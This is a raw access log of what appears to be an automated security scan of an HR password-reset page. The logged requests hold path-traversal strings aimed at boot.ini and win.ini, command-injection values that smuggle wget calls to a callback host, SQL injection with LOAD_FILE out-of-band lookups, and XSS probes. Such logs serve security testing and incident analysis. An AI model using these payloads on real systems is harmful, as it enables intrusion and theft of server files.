"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=ProbePhishing&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwinnt%2Fwin.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwinnt%2Fwin.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2526%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D217 HTTP/1.1" 200 6753 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2526%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D217 HTTP/1.1" 200 6753 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WFXSSProbe&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%'%20and%20'f%'='f HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%'%20and%20'f%'='f HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EProbePhishing%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EProbePhishing%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27 HTTP/1.1" 200 6679 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27 HTTP/1.1" 200 6679 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe%27%22%29%2F%3E HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe%27%22%29%2F%3E HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%257C%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D218 HTTP/1.1" 200 6753 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%257C%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D218 HTTP/1.1" 200 6753 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EProbePhishing%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe%27%22%29%2F%3E" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3E%3E HTTP/1.1" 200 6683 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3E%3E HTTP/1.1" 200 6683 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini HTTP/1.1" 200 6772 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini HTTP/1.1" 200 6772 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%24%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D219%29 HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%24%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D219%29 HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+last%28%29%3Dlast%28%29+or+%27 HTTP/1.1" 200 6699 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+last%28%29%3Dlast%28%29+or+%27 HTTP/1.1" 200 6699 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+1%3D2+or+LOAD_FILE%28%27%5C%5C%5C%5Cv3-ping-220-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%5C%5Cdir%27%29+limit+1+%23 HTTP/1.1" 200 6787 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+1%3D2+or+LOAD_FILE%28%27%5C%5C%5C%5Cv3-ping-220-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%5C%5Cdir%27%29+limit+1+%23 HTTP/1.1" 200 6787 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%29+and+%28string%28true%28%29%29%3D%27true HTTP/1.1" 200 6703 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%29+and+%28string%28true%28%29%29%3D%27true HTTP/1.1" 200 6703 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%5D%5D HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%5D%5D HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\winnt\\win.ini HTTP/1.1" 200 6777 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\winnt\\win.ini HTTP/1.1" 200 6777 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%255C%2522wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D221%2523 HTTP/1.1" 200 6756 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%255C%2522wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D221%2523 HTTP/1.1" 200 6756 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+and+1%3D2+or+LOAD_FILE%28%27%5C%5C%5C%5Cv3-ping-222-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%5C%5Cdir%27%29+limit+1+%23 HTTP/1.1" 200 6786 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+and+1%3D2+or+LOAD_FILE%28%27%5C%5C%5C%5Cv3-ping-222-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%5C%5Cdir%27%29+limit+1+%23 HTTP/1.1" 200 6786 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 